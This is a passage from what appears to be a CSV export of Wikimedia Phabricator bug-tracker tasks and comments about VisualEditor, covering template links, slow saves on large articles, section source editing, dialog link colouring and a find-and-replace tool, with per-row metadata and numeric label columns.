+> would be helpful to have a direct link to the transcluded template page, and
+> not to the many templates that make up such a navigation box at the core
+> level. 
+
+You can definitely edit those templates in source mode still - do you mean, edit the invocation of those templates? You should be able to replicate anything you can do with a template invocation in source mode using VisualEditor at this point. On the other hand, trying to offer ""edit the source of this template invocation"" is extremely technically hard (as well as being a very complicated user interface issue for users).
+
+> See related bug 878.
+
+I'm afraid I don't see how that bug, about the wikitext editor's additional listing of templates used on section editing, is related. Could you explain the link?
+
+I also don't see how this relates to this bug, which is a minor enhancement request to add a link to the used template on the template's pane (which I think is fine, but we'll have to work out if we can do this in all situations - what do we do when the ""template"" you're using is in fact a parser function? - etc.).",,,1371665278,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-axbu733atg4fftym2lek,task_subcomment,,True,c1,2,True,,,-2,,1,1,1,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1
+249430,"VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation), even if there is TemplateData to document it","Here is a page that has a table and a couple transcluded navigation-box templates at the bottom:
+[[List of countries by incarceration rate]]
+
+With VisualEditor (VE) the table is editable and WYSIWYG.
+
+But with VE the existing text in the 2 navigation boxes can not be edited as far as I can tell. At least not within VE from that page. I am talking about after clicking the edit icons for the navigation boxes. 
+
+New parameters can be added to one of the templates, but not to the other. I don't see a way to edit the text for existing parameters in either navigation box. 
+
+So to be able to edit one of those templates in source mode or otherwise it would be helpful to have a direct link to the transcluded template page, and not to the many templates that make up such a navigation box at the core level. 
+
+See related bug 878.",,,1371619899,,PHID-USER-ebwxbdwkoxprr4cvvjvy,False,,,PHID-TASK-axbu733atg4fftym2lek,task_subcomment,,True,c1,2,False,,,-2,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+51685,[DO NOT USE] VisualEditor: Performance issues (tracker) [superseded by #VisualEditor-Performance],"This is more of a tracking bug than anything else, but it should be something people are aware of and something that's formally logged; the VisualEditor is very slow on large articles, to the point where it causes confusing output.
+
+Using the example of https://en.wikipedia.org/wiki/OpenOffice - I edited this and it took a good 20 seconds just to render 'review changes', and another 20 to save. David Gerard did the same and the server popped up  ""Error saving data to server: timeout."" with both 'review' and 'save'. Despite this, it saved anyway.
+
+Obviously as a long-term thing: we shouldn't have an editor so slow that someone in an industrialised, Western nation (i.e. the UK) can't make things work.[1] As a short-term thing, we shouldn't be informing users ""something has gone terribly, terribly wrong, abort!"" when it has actually saved.
+
+[1] It's David Gerard, he's not going to be using dial-up.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Lowest,10.0,1371467880,1417556322.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-bzxuqebvczsa3yqj6fmu,task_description,invalid,True,c1,2,False,False,False,-2,,0,1,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+335545,[DO NOT USE] VisualEditor: Performance issues (tracker) [superseded by #VisualEditor-Performance],Let's use #VisualEditor-Performance instead.,,,1417556322,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bzxuqebvczsa3yqj6fmu,task_subcomment,,True,c1,3,True,,,74,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+243997,[DO NOT USE] VisualEditor: Performance issues (tracker) [superseded by #VisualEditor-Performance],"Update on the test Oliver mentions at the top: on the same PC and the same Internet connection (though a current version of Firefox), it just now took:
+
+* 10 seconds to open [[OpenOffice.org]]
+* 176 seconds (nearly three minutes!) to render the ""Review your changes"" diff
+* two minutes attempting to save, then ""Error: Unknown error"". The edit did, however, save: https://en.wikipedia.org/w/index.php?title=OpenOffice.org&diff=597641893&oldid=593809275
+
+It's a ... test subject ... of a page.",,,1393664271,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-bzxuqebvczsa3yqj6fmu,task_subcomment,,True,c1,3,False,,,34,,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+243995,[DO NOT USE] VisualEditor: Performance issues (tracker) [superseded by #VisualEditor-Performance],"another stopped sript warning
+
+**Attached**: {F11497}",,,1372621880,,PHID-USER-2mkpm2voxepwvz7abjug,False,,,PHID-TASK-bzxuqebvczsa3yqj6fmu,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+243989,[DO NOT USE] VisualEditor: Performance issues (tracker) [superseded by #VisualEditor-Performance],"Firefox chokes
+
+This happens /before/ script-stop warnings.
+
+**Attached**: {F11496}",,,1372621308,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-bzxuqebvczsa3yqj6fmu,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+243984,[DO NOT USE] VisualEditor: Performance issues (tracker) [superseded by #VisualEditor-Performance],"Stopped script warning
+
+**Attached**: {F11495}",,,1372621284,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-bzxuqebvczsa3yqj6fmu,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+243980,[DO NOT USE] VisualEditor: Performance issues (tracker) [superseded by #VisualEditor-Performance],"It was previously doing a very dirty diff; I just tried again on this article and it did a clean diff, but timed out when I hit ""save"", three times in a row, and didn't actually save any of them.",,,1371560422,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-bzxuqebvczsa3yqj6fmu,task_subcomment,,True,c1,2,False,,,-2,,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,1,1,1,0,0,0
+243975,[DO NOT USE] VisualEditor: Performance issues (tracker) [superseded by #VisualEditor-Performance],"(In reply to comment #3)
+> It may also be worth noting that this page takes ~30 seconds in my use to
+> save when using the ordinary source wikitext editor - it's a complex page!
+
+Yes, one of the problems is that VE being slow is rather more noticeable than MW being slow (because ""it's a website"" and so triggers different time response expectations in users). :-(",,,1371496866,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bzxuqebvczsa3yqj6fmu,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+243969,[DO NOT USE] VisualEditor: Performance issues (tracker) [superseded by #VisualEditor-Performance],It may also be worth noting that this page takes ~30 seconds in my use to save when using the ordinary source wikitext editor - it's a complex page!,,,1371495878,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-bzxuqebvczsa3yqj6fmu,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+243965,[DO NOT USE] VisualEditor: Performance issues (tracker) [superseded by #VisualEditor-Performance],"Listing the issues so it's clear what we mean by ""performance issues"" and their different causes and artefacts:
+
+* [network] VE slow to load own JS - mostly provided by ResourceLoader and local cacheing so this would only be a slowness once per user's browser (assuming they don't clear their local cache); we could pre-load VE JS for all users on read, which would reduce load times when people press edit slightly, but that is evil
+
+* [network] VE slow to fetch HTML from Parsoid - mostly fixed due to highly-aggressive caching at our cluster (the payload is slightly smaller in byte size than the read page fetch, i.e. not significant)
+
+* [client] VE slow to render Parsoid HTML into an editable document - we're working on this (profiling etc.), but there's a tension between editability and simplicity of data structure. :-)
+
+* [client] VE slow to respond to user action - same as above; this is the core ""performance"" area for VE itself, of course
+
+* [server] VE slow to get a wikitext diff - this relies on two operations; a Parsoid serialise and an MW wikitext diff: we can work with Parsoid on that being faster, but there's a limit; theoretically we could pre-serialise as we go (but eww network traffic and load on the servers)
+
+* [server] VE slow to save edit - this is essentially the same performance issue as getting the wikitext diff, above; theoretically we could optimise by saving the output of the serialise from a wikitext diff, but this won't be triggered for most users, so it's of marginal utility",,,1371495451,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bzxuqebvczsa3yqj6fmu,task_subcomment,,True,c1,2,True,,,-2,,1,0,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1
+243960,[DO NOT USE] VisualEditor: Performance issues (tracker) [superseded by #VisualEditor-Performance],"Specifically, 8Mbit ADSL through Zen. Most of the slowness appears to be thinking - I could hear my laptop's CPU fan speed up.",,,1371470989,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-bzxuqebvczsa3yqj6fmu,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0
+51665,VisualEditor: Provide a get-me-into-the-wikitext-editor link on every header inside the VisualEditor,"From [[https://phabricator.wikimedia.org/T50429#518092|a comment]] on T50429.
+
+>It would be wonderful if the ""edit source"" links or icons for sections also showed up inside the Visual Editor. The Visual Editor could treat ""edit source"" links or icons as uneditable links. But the link would still work. So people could click ""edit source"" links or icons to open source editing of a section. 
+>
+> People could go to source mode editing at anytime, even from inside the VisualEditor. That would be so convenient and so useful. Later on, this functionality could be extended to anything the VisualEditor can't edit. People could click on templates, tables, etc. inside the VisualEditor and go directly to source mode editing of that section. Or they could right-click templates, tables, etc. to go to a new tab in source mode for that section.
+
+**See also:**
+T50429
+T51664
+T49779",Lowest,10.0,1371430140,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-cafdsbi6thmpaj3iik3u,task_description,open,True,c1,2,True,False,,-2,,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+558136,VisualEditor: Provide a get-me-into-the-wikitext-editor link on every header inside the VisualEditor,Is this still relevant now that {T49779} is resolved?,,,1446661434,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-cafdsbi6thmpaj3iik3u,task_subcomment,,True,c1,3,False,,,122,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0
+51664,"VisualEditor: Switching to ""edit source"" tab within VE triggered via section-edit should be a wikitext section edit","[From bug 48429 comment 20.]
+
+Switching to ""edit source"" tab when VE was triggered via a section-edit link should enter the wikitext editor for that section, rather than the entire page.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=48429
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49665",Lowest,10.0,1371429960,1372279963.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-4qp7cge7h2tflfmzkmov,task_description,invalid,True,c1,2,True,False,True,-2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,1
+242770,"VisualEditor: Switching to ""edit source"" tab within VE triggered via section-edit should be a wikitext section edit","In the end we went with bug 49666, which is now done (code to be deployed this afternoon). As discussed above (and I agree), changing behaviour between wikitext section edit behaviour as currently is and the way it works post-VE roll-out - but only on VE-enable-able pages (i.e., not talk pages/etc.) would be complicated and not add value to users.
+
+Consequently, closing this as INVALID.",,,1372279963,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4qp7cge7h2tflfmzkmov,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+242765,"VisualEditor: Switching to ""edit source"" tab within VE triggered via section-edit should be a wikitext section edit","Bug 49665 may be another solution: ""VisualEditor: Provide a get-me-into-the-wikitext-editor link on every header"". 
+
+It looks like there will be an ""edit"" link and ""edit source"" link (or icon) on every header.See bug 49666.
+
+If the header ""edit source"" links (or icons) remain clickable (and/or right-clickable) from within VE, then that would be a solution for getting into the source editor for sections.",,,1371649103,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-4qp7cge7h2tflfmzkmov,task_subcomment,,True,c1,2,False,,,-2,,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,0
+242758,"VisualEditor: Switching to ""edit source"" tab within VE triggered via section-edit should be a wikitext section edit","(In reply to comment #3)
+> (In reply to comment #2)
+> > ""Edit Source"" never even existed before Visual Editor
+> 
+> Not even remotely true. The ""Edit Source"" tab is the relabelling of the
+> regular
+> ""Edit"" tab.
+> 
+> I'm minded to agree with This, that and the other, but willing to be
+> convinced.
+
+I see now what you mean, but my point still stands: ""edit source"" is not something that warrants use of the word ""always"", as it's completely new, introduced with visual editor... there was no ""edit source"" anywhere before VE.
+for all i care, we do not even need ""edit source"" on the page when reading it, ""Edit"" is enough, as long as there *is* ""edit source"" once VE fires up. as to what should be the action of this ""edit source"", i believe it should put you in the same spot you would have been if VE was not enabled. in the case you entered edit state through an editsection linkette, this means edit section.
+
+however, it is possible in this case to eat the cake and have it too, by rephrasing the original ticket, so let me try to do this:
+
+====== ORIGINAL TICKET REPHRASING ===========
+When the user press the editsection linkette and VE is enabled, a new top menu item should be generated: ""Edit section source"", next to ""Edit source"". pressing this menu item is equivalent to pressing the editsection link when VE is disabled.
+
+Not allowing this functionality basically means that there is no way to execute section edit of wikitext if VE is enabled, which, IMO, is a serious regression.
+(alternatively, pressing the ""edit source"" linkette should open a dialog asking if the user wants to edit the whole article or just the section).
+============== END REPHRASING ===============
+
+peace.",,,1371594513,,PHID-USER-akv4ingxkspiiam6r2n4,True,,,PHID-TASK-4qp7cge7h2tflfmzkmov,task_subcomment,,True,c1,2,False,,,-2,,1,1,1,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,1,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+242750,"VisualEditor: Switching to ""edit source"" tab within VE triggered via section-edit should be a wikitext section edit","(In reply to comment #2)
+> ""Edit Source"" never even existed before Visual Editor
+
+Not even remotely true. The ""Edit Source"" tab is the relabelling of the regular ""Edit"" tab.
+
+I'm minded to agree with This, that and the other, but willing to be convinced.",,,1371582534,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4qp7cge7h2tflfmzkmov,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+242742,"VisualEditor: Switching to ""edit source"" tab within VE triggered via section-edit should be a wikitext section edit","(In reply to comment #1)
+> This behavior would be confusing and would break the consistency of the ""edit
+> source"" tab always going to the whole-page editor. 
+
+forgive my bluntness, but this is plain silly.
+what do you mean ""source tab always going to the whole page""? we are not discussing ""View Source"" tab, we are discussing ""Edit Source"" tab, which is something completely different.
+""Edit Source"" never even existed before Visual Editor and the reference to ""always"" does not make any sense: this project is slowly making its way from alpha to beta, and there is no ""backward compatibility"" or past behavior this thing should feel obliged to.
+
+peace.",,,1371581100,,PHID-USER-akv4ingxkspiiam6r2n4,True,,,PHID-TASK-4qp7cge7h2tflfmzkmov,task_subcomment,,True,c1,2,False,,,-2,,1,1,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,1
+242734,"VisualEditor: Switching to ""edit source"" tab within VE triggered via section-edit should be a wikitext section edit","This behavior would be confusing and would break the consistency of the ""edit source"" tab always going to the whole-page editor. 
+
+Perhaps displaying the UI of bug 49666 while in VE edit mode would be a better solution to this. I'd be interested to see the resolution of bug 47779 first though.",,,1371521502,,PHID-USER-sx63fwaih5kjt7bz4u6z,True,,,PHID-TASK-4qp7cge7h2tflfmzkmov,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,0
+50984,VisualEditor: Links to new pages inside templates are coloured red in the content but not a dialog iframe,"These links being red at all come about because content of templates is rendered by the PHP parser, which sets class=""new"" (Parsoid itself doesn't hint about target colour yet). However, because dialogs are implemented as <iframe>s, we can't inherit MW's CSS for the body element, so they appear differently.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Lowest,10.0,1369932240,1399324316.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-yevsvpn7ps2wcpzwmbie,task_description,resolved,True,c1,1,True,False,False,-5,,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,1,0,0,0,1
+232096,VisualEditor: Links to new pages inside templates are coloured red in the content but not a dialog iframe,Now fixed as of last month.,,,1399324316,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-yevsvpn7ps2wcpzwmbie,task_subcomment,,True,c1,3,True,,,44,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+50368,Implement a find/search and replace tool,"There's a search-and-replace tool in the wikiEditor which some users might miss and would like in VisualEditor somehow.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Lowest,10.0,1368321420,1417729605.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_description,resolved,True,c1,1,True,True,False,-8,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+335949,Implement a find/search and replace tool,"Change 174491 merged by jenkins-bot:
+Find and replace
+
+[[https://gerrit.wikimedia.org/r/174491]]",,,1417631052,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,False,,,74,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+332396,Implement a find/search and replace tool,Same. See the commit above.,,,1416824888,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,True,,,73,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+332334,Implement a find/search and replace tool,">>! In T50368#776888, @Esanders wrote:
+> For now I think the tool can go in the hamburger menu on the right.
+
+What about in non-MW integrations?",,,1416794975,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,True,,,73,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,1
+332329,Implement a find/search and replace tool,For now I think the tool can go in the hamburger menu on the right.,,,1416791907,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,True,,,73,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+332327,Implement a find/search and replace tool,https://gerrit.wikimedia.org/r/#/c/174491/,,,1416791428,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,True,,,73,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+219419,Implement a find/search and replace tool,"(In reply to Eran Roz from comment #12)
+> I can only think of ""Language"" and ""Replace"", so I guess we don't have
+> enougth tools right now for a new menu.
+> (or maybe the ""advanced"" options (page settings, categories etc...) is
+> actually ""tools"" menu?)
+
+We've been struggling with what to do with categories (which are pretty vital) compared to ""don't show TOC"" (which is pretty rare). Suggestions for improvements to the toolbar are always welcome. :-)",,,1400888389,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,True,,,46,,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,1,1,0,1,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+219412,Implement a find/search and replace tool,"I can only think of ""Language"" and ""Replace"", so I guess we don't have enougth tools right now for a new menu.
+(or maybe the ""advanced"" options (page settings, categories etc...) is actually ""tools"" menu?)",,,1400881097,,PHID-USER-cfsvvgbtlqnbt2yokfjf,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,False,,,46,,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,1,0,0,0,0,1
+219406,Implement a find/search and replace tool,"(In reply to Eran Roz from comment #10)
+> Yes, I would like if it would be possible to create an extra different menu,
+> instead of adding all the tools to mislabelled ""Insert"". I think the new
+> ""Language"" option will also fit here.
+
+Hmm. Possibly. I was thinking of putting it in the ""text styling"" menu, but it could live here.
+
